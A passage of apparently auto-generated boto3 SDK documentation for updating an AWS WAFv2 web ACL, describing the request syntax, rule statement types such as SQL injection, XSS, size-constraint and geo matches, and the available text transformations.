'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {} , 'Allow': {} , 'Count': {} }, 'OverrideAction': { 'Count': {} , 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], VisibilityConfig={ 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the Web ACL. You cannot change the name of a Web ACL after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nThe unique identifier for the Web ACL. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type DefaultAction: dict :param DefaultAction: [REQUIRED]\nThe action to perform if none of the Rules contained in the WebACL match.\n\nBlock (dict) --Specifies that AWS WAF should block requests by default.\n\nAllow (dict) --Specifies that AWS WAF should allow requests by default.\n\n\n :type Description: string :param Description: A description of the Web ACL that helps with identification. You cannot change the description of a Web ACL after you create it. :type Rules: list :param Rules: The Rule statements used to identify the web requests that you want to allow, block, or count. Each rule includes one top-level statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\nName (string) -- [REQUIRED]The name of the rule. You can\'t change the name of a Rule after you create it.\n\nPriority (integer) -- [REQUIRED]If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different.\n\nStatement (dict) -- [REQUIRED]The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement .\n\nByteMatchStatement (dict) --A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement.\n\nSearchString (bytes) -- [REQUIRED]A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes.\nValid values depend on the component that you specify for inspection in FieldToMatch :\n\nMethod : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request.\nUriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg .\n\nIf SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive.\n\nIf you\'re using the AWS WAF API\nSpecify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes.\nFor example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString .\n\nIf you\'re using the AWS CLI or one of the AWS SDKs\nThe value that you want AWS WAF to search for. The SDK automatically base64 encodes the value.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\nPositionalConstraint (string) -- [REQUIRED]The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following:\n\nCONTAINS\nThe specified part of the web request must include the value of SearchString , but the location doesn\'t matter.\n\nCONTAINS_WORD\nThe specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 0-9, or _). In addition, SearchString must be a word, which means that both of the following are true:\n\nSearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot .\nSearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; .\n\n\nEXACTLY\nThe value of the specified part of the web request must exactly match the value of SearchString .\n\nSTARTS_WITH\nThe value of SearchString must appear at the beginning of the specified part of the web request.\n\nENDS_WITH\nThe value of SearchString must appear at the end of the specified part of the web request.\n\n\n\nSqliMatchStatement (dict) --Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nXssMatchStatement (dict) --A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nSizeConstraintStatement (dict) --A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes.\nIf you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes.\nIf you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nComparisonOperator (string) -- [REQUIRED]The operator to use to compare the request part to the size setting.\n\nSize (integer) -- [REQUIRED]The size, in byte, to compare to the request part, after any transformations.\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nGeoMatchStatement (dict) --A rule statement used to identify web requests based on country of origin.\n\nCountryCodes (list) --An array of two-character country codes, for example, [ 'US', 'CN' ] , from the alpha-2 country ISO codes of the ISO 3166 international standard.\n\n(string) --\n\n\n\n\nRuleGroupReferenceStatement (dict) --A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement.\nYou cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the entity.\n\nExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\nIPSetReferenceStatement (dict) --A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet .\nEach IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the IPSet that this statement references.\n\n\n\nRegexPatternSetReferenceStatement (dict) --A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet .\nEach regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nRateBasedStatement (dict) --A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests.\nWhen the rule 